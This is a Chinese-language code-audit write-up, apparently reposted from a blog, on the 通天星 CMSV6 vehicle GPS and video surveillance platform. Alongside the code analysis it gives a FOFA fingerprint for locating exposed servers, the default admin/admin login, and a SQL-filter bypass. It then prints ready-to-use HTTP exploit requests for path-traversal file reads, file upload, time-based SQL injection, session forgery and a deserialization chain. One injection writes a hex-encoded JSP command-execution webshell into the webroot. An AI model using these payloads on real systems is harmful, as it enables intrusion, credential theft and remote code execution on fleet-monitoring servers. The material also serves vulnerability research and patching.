通天星CMSV6代码审计

news2024/9/20 18:48:00

fofa指纹

body="./open/webApi.html"||body="/808gps/"

/gpsweb/WEB-INF/classes/config/version.conf中可以查看版本。

框架分析

默认安装目录为C:\Program Files\CMSServerV6\

默认账户:admin/admin

框架结构

跟进web.xml,可以看到用了Spring框架。spring-mvc.xml中定义了要扫描的base-package包括com.gps808,com.framework,com.gener,com.ttx,com.upgradeService。

    <servlet>
        <servlet-name>spring</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>classpath:/spring-mvc.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>spring</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

所有以.action和.html结尾的路由都由Struts2处理

    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>*.action</url-pattern>
        <dispatcher>REQUEST</dispatcher>
        <dispatcher>FORWARD</dispatcher>
        <dispatcher>INCLUDE</dispatcher>
    </filter-mapping>

跟进struts.xml

<constant name="struts.action.excludePattern" value="/ws/.*,ws://.*,/druid/.*"/>

<!-- =========web请求通用配置========== -->
<action name="**/*_*.action" class="{2}" method="{3}">

<!-- =========API请求通用配置========== -->
<action name="*_*.action" class="{1}" method="{2}">

其中API请求配置位于struts-api-action.xml,配置了每个API Action的访问路径(基本都包含StandardApiAction)。

前缀问题

有意思的是,网上涉及到struts2路由的poc中都带了/808gps/这个路由前缀,但是在审计过程中这个package名并不是必须的。仔细看struts.xml中的web请求通用配置,如下

<action name="**/*_*.action" class="{2}" method="{3}">

** 可以匹配任意数量的路径段,/808gps可以匹配,/aa/bb也可以匹配。并不影响后面class和method的调用。所以这个前缀可以有,也可以没有,甚至可以是任何东西。

class访问

Struts2和Spring框架结合的特点是

1. 如果Action类在Struts2的struts.xml中定义,可以直接通过name属性来调用。例如通天星struts.xml中定义的downloadLogger.action

<action name="downloadLogger.action" class="com.gps808.loggerManagement.action.DownloadLoggerAction">
    <result name="success" type="stream">
        <param name="contentType">application/octet-stream</param>
        <param name="inputName">inputStream</param>                              
        <param name="contentDisposition">attachment;filename="${fileName}"</param>
        <param name="bufferSize">4096</param>
    </result>
</action>

2. 如果Action类在Spring的配置文件中定义为Bean,可以通过Bean的名字调用。例如applicationContext-gps808-api.xml文件中的StandardApiAction

<bean name="StandardApiAction" class="com.gps808.api.action.StandardApiAction" scope="prototype" parent="standardUserBaseAction">
    <property name="videoTrackService" ref="videoTrackService" />
    <property name="standardVehicleMediaService" ref="standardVehicleMediaService" />
</bean>

3. 如果既没有在struts.xml中定义,又没有在Spring配置文件中定义为Bean,那么想要访问相应的Action类需要使用全限定类名,否则无法找到对应的class。例如com.framework.web.action.FileUploadAction

<action name="**/*_*.action" class="{2}" method="{3}">

 session

Ps:如果响应result:2的话,则是表示该路由需要登录后才能访问

sessionFilter.xml中定义了诸多无需session的Action,如下

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xml>
<model>
	<value>com.framework.web.action.FileUploadAction</value>
	<value>com.framework.web.action.RandomPictureAction</value>
	<value>com.framework.web.action.FileDownLoadAction</value>
	<value>com.gps808.operationManagement.action.StandardLoginAction</value>
	<value>com.gps808.plugin.schoolBus.action.StandardWechatAction</value>
	<value>com.gps808.api.action.StandardApiAction</value>
	<value>com.gps808.api.action.RestfulAction</value>
	<value>com.gps808.api.action.AccountAction</value>
	<value>com.gps808.api.action.LoginAction</value>
	<value>com.gps808.api.action.MobileAction</value>
	<value>com.gps808.api.action.LoginApiAction</value>
	<value>com.gps808.api.action.AlarmAction</value>
	<value>com.gps808.api.action.CompanyAction</value>
	<value>com.gps808.api.action.RoleAction</value>
	<value>com.gps808.api.action.DevFlowAction</value>
	<value>com.gps808.api.action.DeviceAction</value>
	<value>com.gps808.api.action.DispatchGroupAction</value>
	<value>com.gps808.api.action.LineAction</value>
	<value>com.gps808.api.action.MapMarkerAction</value>
	<value>com.gps808.api.action.PictureAction</value>
	<value>com.gps808.api.action.StandardApiServerAction</value>
	<value>com.gps808.api.action.StandardRuleMaintainAction</value>
	<value>com.gps808.api.action.SuperVisionAction</value>
	<value>com.gps808.api.action.TtsAction</value>
	<value>com.gps808.api.action.UserInspecAction</value>
	<value>com.gps808.api.action.UserSessionAction</value>
	<value>com.gps808.api.action.VehiAction</value>
	<value>com.gps808.api.action.VehicleMediaAction</value>
	<value>com.gps808.api.action.VideoAction</value>
	<value>com.gps808.api.action.PhoneOrderAction</value>
	<value>com.gps808.api.action.TaxiBigScreenAnalysisAction</value>
	<value>com.gps808.api.action.UploadAction</value>
	<value>com.gps808.api.action.SupervisionBoardAnalysisAction</value>
	<value>com.gps808.api.action.WisdomMuckBoardAnalysisAction</value>
	<!--车辆与司机操作信息 -->
	<value>com.gps808.api.action.VehicleDriverAction</value>
	<value>com.gps808.api.action.WebuploaderApiAction</value>
	<value>com.gps808.api.action.DriverAction</value>
	<value>com.gps808.api.action.SchoolBusApiAction</value>

	<value>com.gps808.api.action.VehiDataAnalysisAction</value>
	<value>com.gps808.api.action.VehiOilAction</value>

	<value>com.gps808.api.action.SimCardAction</value>
	<value>com.gps808.api.action.PeopleAction</value>
	<!--微信模块 -->
	<value>com.gps808.wechat.module.wechat.WechatController</value>
	<value>com.gps808.api.action.WxpayAction</value>
	<value>com.gps808.api.action.DevOfflineUpgradeAction</value>

	<value>com.gps808.vdo.action.Vdo</value>
	<value>com.gps808.vdo.action.VdoE</value>
	<value>com.gps808.vdo.action.Status</value>
	<value>com.gz.system.action.GzBkLoginAction</value>
	<value>com.gps808.plugin.eleCirManagement.action.StandardOpenAction</value>
	<value>com.gps808.track.action.StandardTrackAction</value>
	<value>com.gps808.loggerManagement.action.SelectDevAction</value>
	<value>com.gps808.loggerManagement.action.MultiFileDownloadAction</value>
	<value>com.gps808.loggerManagement.action.DownloadLoggerAction</value>
	<value>com.gps808.operationManagement.action.StandardHttpSendAction</value>
<!--	<value>com.gps808.report.action.StandardReportAlarmSuBiao</value>-->
	<value>com.gps808.operationManagement.action.StandardDriverAction</value>
	<value>com.gps808.monitor.action.StandardTTSAction</value>
	<value>com.gps808.operationManagement.action.StandardBannerManagementAction</value>
	<value>com.gps808.report.action.StandardReportMediaAction</value>
	<value>com.gps808.report.action.StandardIndexManageAction</value>
	<value>com.gps808.operationManagement.action.WebuploaderAction</value>

	<!--H5/App报表-->
	<value>com.gps808.h5.action.StandardH5Action</value>
	<value>com.gps808.h5.action.StandardOilAction</value>
	<value>com.gps808.h5.action.StandardClockAction</value>
	<value>com.gps808.h5.action.StandardMileageAction</value>

</model>

查找sessionFilter.xml在何处被引用,定位到SessionIterceptor。它在struts.xml中配置如下

<interceptor name="sessionOut" class="com.gpsCommon.filter.SessionIterceptor"/>

代码如下

首先要跳过如下if的判断,才能进入到else调用方法的逻辑中。

if ((SessionParamFilter.getSessionUserId() != null || SessionParamFilter.getPoliceId() != null || SessionParamFilter.getSessionDriverId() != null) && !this.handleMethodAuth(SessionParamFilter.getSessionId(), action.getClass(), method))

这几个或关系的getxxId的逻辑非常相似

都是通过获取jsessionId相关参数或头部参数来赋值,如果无法从相应的Attribute中获取到值就返回null。

handleMethodAuth,获取方法上的@CheckPermission标签,如果没有获取到,就获取类上的@CheckPermission标签。

else中对于是否直接调用方法的判断逻辑如下。1. struts.xml配置的name包含.html 2. @NotLogin标签 3. isAllowContinue允许的Action。4. method包含excel

针对于条件3中的判断action是否是allow的,如果是的话,直接反射调用方法。而相应的lstAction这个allow列表是从sessionFilter.xml中读取的这些Action类。

else if (this.isAllowContinue(action.getClass().getName()) && !name.contains("_keepSessionLive")) {
    return invocation.invoke();
} 


private boolean isAllowContinue(String actionName) {
    return !AssertUtils.isNull(actionName) && lstAction != null ? lstAction.contains(actionName) : false;
}

p6spy组件 

p6spy是一个开源项目,可以截取和记录数据库数据,而无需对现有应用程序进行代码更改。想要使用p6spy,在引入该项目后,需要配置spy.properties。通天星配置如下

  • driverlist:指定要监控的数据库驱动(如MySQL)。
  • dateformatdatabaseDialectDateFormat:定义日志输出中日期时间的格式。
  • appender:指定日志记录的方式(这里使用的是SLF4J)。
  • logMessageFormat:定义日志格式化方式,指定了一个自定义的格式化器类。

slf4j仅仅是一个为Java程序提供日志输出的统一接口,需要配合其他日志实现方案使用,如log4j2。通天星log4j2配置如下。INFO级别的日志信息会输出到log_info.log文件中。

log_info.log的绝对路径为C:\Program Files\CMSServerV6\tomcat\logs\log_info.log

p6spy既然回监控数据库操作,那么查看通天星Hibernate相关配置,例如standardusersession.hbm.xml。对应的表是user_session表

sql过滤

gpsCommon的Filter中有个名为SqlFilter的类。对sql的一些关键字进行过滤,如果匹配到就会报错。

但是它对上述四个路由不进行过滤,这也导致了StandardApiAction_vehicleTTS的sql注入漏洞可以用select等字眼。

首先,架构分析中提到sqlFilter是用str.contains(badStrs[i])来匹配黑名单的,而Java 的String.contains()方法是大小写敏感的,它不会将SELECT和黑名单的select匹配。所以sqlFilter在实现的时候先执行了一步str = str.toLowerCase();将所有传入的字符转为小写字符,避免大写绕过。

另外需要注意,这里获取路径用的是req.getRequestURI,会包含特殊字符。假如路径中为/;/index,那么req.getRequestURI获取得到的结果依旧是/;/index,而tomcat在解析时会把分号后面的内容截断。这样就可以在存在sql漏洞点的路由后加入;downloadLogger.action字眼,绕过检测。

历史漏洞

通天星官方有个历史漏洞列表:http://faq.cmsv8.com/helpcenter.html?page_id=1249

官方列出的历史漏洞。大部分漏洞在7.33.0.7已经修复。

漏洞名称漏洞详情严重等级受影响的版本
远程代码执行漏洞web.body=”/808gps/js/public.js”高危<= V7.33.0.2
用户密码重置漏洞通过构造漏洞利用数据包,可重置任意用户的账号密码高危<= V7.33.0.2
任意文件删除漏洞通过构造漏洞利用数据包,可实现任意文件删除高危<= V7.33.0.2
SQL注入漏洞/run_stop/delete.do;downloadLogger.action高危< V7.33.0.1
用户SESSION伪造漏洞com\gps808\api\action\UserSessionAction.class高危<= V7.33.0.3
命令执行漏洞全局登陆校验拦截器,只有满⾜⼀些条件的请求路由才允许未授权访问,通过访问恶意篡改的文件可以过掉该拦截器高危<= V7.33.0.3
/inspect_file/upload 文件上传漏洞/inspect_file/upload高危<= V7.33
任意文件上传WebuploaderAction_ajaxAttachFileUpload.action高危<= V7.33
SQL注入漏洞getAlarmAppealByGuid;downloadLogger.action中危< V7.33.0.6
/point_manage/merge sql注入漏洞/point_manage/merge高危< V7.33.0.6
逻辑缺陷漏洞com.gps808.api.action.AccountAction接口没有验证jsession中危<= V7.33.0.7
逻辑缺陷漏洞808gps/StandardLoginAction_loginHelpCenter.action中危<= V7.33.0.7

网上已披露的其他漏洞

漏洞名称路由
StandardReportMediaAction_getImage 文件读取漏洞/808gps/StandardReportMediaAction_getImage.action
MobileAction_downLoad.action 文件读取漏洞/808gps/MobileAction_downLoad.action
StandardApiAction_vehicleTTS.action sql注入漏洞/StandardApiAction_vehicleTTS.action
StandardLoginAction_getAllUser.action 信息泄漏漏洞/808gps/StandardLoginAction_getAllUser.action

FileUploadAction_upload 文件上传 + jasper反序列化漏洞

StandardLineAction的report方法

跟进createReport,会调用getJasperReportFromFile,也就是读取xx.jasper文件的内容,然后从该文件中loadObject

loadObject实际就是原生反序列化的代码。

那么只要有一个可控的jasper文件,就可以造成RCE。接着就要找一个上传点。例如FileUploadAction。它是sessionFilter中定义的类,也就是无需session

反序列化在利用时需要注意,lib中符合攻击条件的jar包是commons-beanutils-1.8.0.jar,虽然cb链条很常见,但是网上默认的payload都是用1.9生成的,打1.8会出现问题。需要用cb1.8来攻击。

复现如下

先上传jasper文件

再触发反序列化

CommonBaseAction_downLoad 任意文件下载漏洞

定位/gpsweb/WEB-INF/classes/gpsweb.jar!/com/gpsCommon/action/CommonBaseAction.class。获取filePath,首先经过一个黑名单判断,filePath不能包含tomcat/、tomcat/ttxapps、.xml、WEB-INF、classes。如果不在黑名单中就读取相应的文件

filePath是通过path参数传参的。

需要注意,该抽象类有诸多实现类

POC如下

/808gps/StandardLoginAction_downLoad.action?path=../../../../webapps/../logs/log_info.log&isTure=0

读取log_info日志中的user_session用于登录。

如果显示file not found,尝试更改../数量

MobileAction_downLoad.action 文件下载漏洞

网上的MobileAction文件下载漏洞,poc如下。作为CommonBaseAction的实现类之一,虽然重写了download方法但是与CommonBaseAction逻辑很相似。

GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.55
Connection: close
Accept: */*
Accept-Encoding: gzip

只不过代码中做了..和.的替换,所以无法跨目录

 inspect_file 文件上传

漏洞定位InspectFileUploadController

fileName直接从文件名中获取并拼接。没有进行过滤,可以..跨目录

POC如下

POST /inspect_file/upload HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: */*
Content-Type: multipart/form-data;boundary=-----------------------------7db372eb000e2
 
-----------------------------7db372eb000e2
Content-Disposition: form-data; name="uploadFile"; filename="1.jsp"
Content-Type: application/octet-stream
 
<% out.println("hello,test");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
-----------------------------7db372eb000e2--

StandardReportMediaAction_getImage 文件读取

POC如下

GET /808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1
Accept-Encoding: gzip
Connection: close

 /point_manage/merge sql注入

漏洞定位PointManageController类的merge方法,最终调用的方法如下

sql语句拼接的样式大致为

select ... from xj_point_manage a where a.name= 'xx' and a.id != 'xx'

这个漏洞的关键在于,是怎么绕过sql检查的。

POST /point_manage/merge HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.2882.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
 
id=1&name=1' UNION SELECT%0aNULL, 0x3c25206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e742061203d202d313b627974655b5d2062203d206e657720627974655b323034385d3b6f75742e7072696e7428223c7072653e22293b7768696c652828613d696e2e7265616428622929213d2d31297b6f75742e7072696e746c6e286e657720537472696e6728622c302c6129293b7d6f75742e7072696e7428223c2f7072653e22293b6e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b253e,NULL,NULL,NULL,NULL,NULL,NULL
INTO dumpfile '../../tomcat/webapps/gpsweb/rce.jsp' FROM user_session a
WHERE '1 '='1 &type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8

黑名单是按照|来拆分的,拆分之后select后面是包含了一个空格的,那么如果我们的语句中select后面没有空格也无法匹配。所以poc中用%0a让空格无法匹配。

disable sql注入

跟进disable方法

存在明显的sql注入问题。但是框架分析中提到系统中是存在sqlFilter过滤器的。在Tomcat中,url中的分号;用于分割路径参数。这里选取downloadLogger.action来绕过校验,它是四个不受过滤的url之一。

GET /edu_security_officer/disable;downloadLogger.action?ids=1+AND+%28SELECT+2688+FROM+%28SELECT%28SLEEP%285%29%29%29kOIi%29 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

/run_stop/delete sql注入

漏洞定位StandardDemoRunStopController

跟进deleteRunStopBatch,明显存在sql注入

sql绕过方式downloadLogger.action分析同上。

GET /run_stop/delete;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0

另外,在官方出的历史漏洞中,getAlarmAppealByGuid;downloadLogger.action这个sql漏洞也是同理,都是用downloadLogger.action后缀绕过检测

StandardApiAction_vehicleTTS sql注入

GET /StandardApiAction_vehicleTTS.action?DevIDNO=5'and(select*from(select+sleep(5))a/**/union/**/select+1)='&Flag=4&Text=qwe HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

StandardLoginAction_getAllUser 信息泄漏

POST /808gps/StandardLoginAction_getAllUser.action HTTP/1.1
Host: ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 
json=null

可以读取账户列表

UserSessionAction 用户SESSION伪造漏洞

整体的代码逻辑很清晰,获取userSession和id参数,如果这两个值不为空,根据session值,执行sql语句"from StandardUserSession where session = :session"。这里的StandardUserSession对应的就是user_session表。

如果没有查到对应的session值,就调用saveThirdSession,根据传入的session和id值,向user_session中插入一条数据。这样就可以伪造某个用户的seesion

String sql = "INSERT INTO user_session (UserID, Session, ClientIP,ClientType, Status, LoginTime) values(:UserID, :Session, :ClientIP,:ClientType, :Status, :LoginTime)";

log_info.log文件中会出现如下的一条日志

2024-08-16 09:54:48 [http-nio-8080-exec-10][com.p6spy.engine.spy.appender.Slf4JLogger.logSQL(Slf4JLogger.java:60)] INFO:SQL | 5 | 2024-08-16 09:54:48 | 3 | statement | INSERT INTO user_session (UserID, Session, ClientIP,ClientType, Status, LoginTime) values(4, '42AA7A2BE767123A42E1530ACC920781', 8080,5, 0, '2024-08-16 09:54:48')

POC如下

POST /808gps/LocationManagement/UserSessionAction_saveUserSession.action HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.0.1
X-Originating-Ip: 127.0.0.1
X-Remote-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Te: trailers
Connection: close

userSession=42AA7A2BE767123A42E1530ACC920781&id=4

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2044541.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

WebGL 入门:开启三维网页图形的新篇章(上)

一、引言 介绍 WebGL 的背景和意义 一、背景 WebGL 是一种 JavaScript API&#xff0c;用于在网页上呈现三维图形。 它是在 2009 年由 Khronos Group 提出的&#xff0c;并于 2011 年成为 W3C 的标准。 在 WebGL 出现之前&#xff0c;网页上的三维图形主要是通过插件&…

TEMU卖家们如何提高temu店铺排名、权重、流量、采购测评成功率?

一、什么叫做自养号测评&#xff1f; 自养号测评类似于国内的某宝S单&#xff0c;就是通过搭建海外的服务器和IP采用海外真实买家资料来注册、养号、下单。 二、自养号测评有哪些作用&#xff1f; 自养号快速提高产品的排名、权重和销量&#xff0c;可以提升订单量、点赞(rat…

Excel工作表同类数据合并工具

下载地址&#xff1a;https://pan.quark.cn/s/81b1aeb45e4c 在Excel表格中&#xff0c;把多行同类数据合并为一行是件令人无比头痛的事情&#xff1a;首先&#xff0c;你得确定哪几条记录是可合并的同类数据&#xff0c;人工对比多个字段难免顾此失彼挂一漏万&#xff1b;其次&…

【深度学习】【文本LLM】如何使用文本相似度挑选语料?

在GitHub上挑选和优化语料库的开源工具与方法 在GitHub上挑选和优化语料库的开源工具与方法 在数据科学和自然语言处理(NLP)的世界里,拥有一个干净且高质量的语料库是成功的关键。然而,随着数据量的增加,处理和优化这些数据变得尤为重要。幸运的是,GitHub上提供了许多开…

分享一个基于SpringBoot的戏剧戏曲科普平台的设计与实现(源码、调试、LW、开题、PPT)

&#x1f495;&#x1f495;作者&#xff1a;计算机源码社 &#x1f495;&#x1f495;个人简介&#xff1a;本人 八年开发经验&#xff0c;擅长Java、Python、PHP、.NET、Node.js、Android、微信小程序、爬虫、大数据、机器学习等&#xff0c;大家有这一块的问题可以一起交流&…

汇编语言:loop指令

loop指令是循环指令&#xff0c;在8086CPU中&#xff0c;所有的循环指令都是短转移&#xff0c;其对应的机器指令有2个字节&#xff0c;低8位字节存放的是操作码&#xff1b;高8位字节存放的是转移位移&#xff08;相对于当前IP的位移&#xff09;&#xff0c;用补码形式表示&a…

C# NetworkStream、ConcurrentDictionary、Socket类、SerialPort、局域网IP 和广域网IP

一、NetworkStream 什么是NetworkStream&#xff1f; NetworkStream 是 .NET Framework 中用于在网络上进行数据传输的流类。它属于System.Net.Sockets 命名空间&#xff0c;并提供了通过网络连接进行读写操作的功能。NetworkStream 主要用于处理从网络套接字&#xff08;Soc…

input 控制光标所在的位置

需求&#xff1a;鼠标一点击input输入框 就要将焦点至于 输入框的最后面&#xff0c;使用户不能在内容的中间 删除或者修改 const focusEnd (value) > {var inpEl value.target // 获取dom元素console.log(inpEl, LLL);var length value.target.value.length // 获取输入…

【Hot100】LeetCode—48. 旋转图像

目录 1- 思路两次遍历实现&#xff08;先行&#xff0c;后主对角互换&#xff09; 2- 实现⭐48. 旋转图像——题解思路 3- ACM 实现 原题连接&#xff1a;48. 旋转图像 1- 思路 两次遍历实现&#xff08;先行&#xff0c;后主对角互换&#xff09; 技巧&#xff1a;旋转 90 …

通过反汇编解析crash问题

背景: 用户反馈的问题&#xff0c;有时候我们拿到log&#xff0c;发现有crash问题&#xff0c;有堆栈打印&#xff0c;能看到具体出错的函数&#xff0c;但是无法定位具体出错的行数和内容&#xff0c;这个时候就需要用到反汇编辅助我们定位问题。 反汇编方法: 通过objdump反汇…

一起学习LeetCode热题100道(43/100)

43.验证二叉搜索树(学习) 给你一个二叉树的根节点 root &#xff0c;判断其是否是一个有效的二叉搜索树。 有效 二叉搜索树定义如下&#xff1a; 节点的左子树只包含 小于 当前节点的数。 节点的右子树只包含 大于 当前节点的数。 所有左子树和右子树自身必须也是二叉搜索树。…

spring bean的循环依赖

在Spring框架中&#xff0c;Bean的循环依赖是一个常见的问题&#xff0c;它指的是两个或多个Bean之间通过构造函数、Setter方法或字段注入等方式形成了相互依赖的闭环。Spring框架提供了强大的依赖注入功能&#xff0c;同时也提供了多种机制来处理循环依赖的情况&#xff0c;确…

【SCI论文写作】工程类论文写作(二)引言

写在前面&#xff1a; &#x1f31f; 欢迎光临 清流君 的博客小天地&#xff0c;这里是我分享技术与心得的温馨角落。&#x1f4dd; 个人主页&#xff1a;清流君_CSDN博客&#xff0c;期待与您一同探索 移动机器人 领域的无限可能。 &#x1f50d; 本文系 清流君 原创之作&…

护眼灯对眼睛有伤害吗?防止三大禁忌隐患

护眼灯对眼睛有伤害吗&#xff1f;护眼灯是现代生活中非常常见的照明工具&#xff0c;它在家庭和办公场所都得到了广泛应用。然而&#xff0c;随着人们对眼睛健康的关注日益增加&#xff0c;关于护眼灯是否可能对眼睛造成伤害的疑问也随之产生。这些疑问不仅涉及到人们的视力健…

黄晓娟:钱输光了她还伺候你?赵本山:她不伺候谁伺候?

黄晓娟&#xff1a;钱输光了她还伺候你&#xff1f;赵本山&#xff1a;她不伺候谁伺候&#xff1f; --小品《麻将豆腐》&#xff08;中1&#xff09;的台词与解说 &#xff08;接上&#xff09; 赵本山&#xff08;饰演大姐夫&#xff09;&#xff1a;诈和了 瞅好啊整不好让…

工作任务紧急程度如何快速区分?

在繁忙的工作中&#xff0c;我们每天都需要处理大量的工作任务。如果不将这些任务仔细区分&#xff0c;就很难保证按时完成所有任务。面对如此多的任务&#xff0c;仅凭脑力很难将它们一一整理和区分。这时&#xff0c;选择一款高效的待办事项管理软件&#xff0c;就成了一个不…

深度学习入门-01

1、安装Anaconda 创建一个虚拟环境&#xff0c;在Anaconda Prompt中创建&#xff0c;环境名称叫做pytorch&#xff0c;使用的python版本是3.10 conda create -n pytorch python3.10在这环境中需要安装的包&#xff0c;选择yes 激活环境&#xff1a; conda activate pytorch如…

排序算法之--插入排序

文章目录 一、简介二、算法思路分析三、算法复杂度分析&#xff1a;3.1、时间复杂度方面&#xff1a;3.2、空间复杂度方面&#xff1a; 四、代码实现&#xff1a; 一、简介 插入排序是一种简单直观的排序算法&#xff0c;‌它的工作原理是通过构建有序序列&#xff0c;‌该算法…

MySQL:查询(万字超详细版)

&#x1f48e;所属专栏&#xff1a; MySQL &#x1f48e;1. 单表查询 &#x1f48e;1.1 全列查询和指定列查询 全列查询&#xff1a; select * from exam; 在实际开发中不要使用 * 来进行查询&#xff0c;因为数据库会很大&#xff0c;影响效率 指定列查询&#xff1a; se…

低代码开发平台通过钉钉API实现流程管理数据对接

实例背景&#xff1a; CRM项目虽然实现了报价转订单的功能&#xff0c;但是客户还是遇到使用不方便的问题&#xff0c;客户的业务流程中&#xff0c;审核报价的时候是需要提供销售人员与客户的聊天记录截图&#xff0c;这都是在手机上的&#xff0c;电脑操作不方便&#xff0c…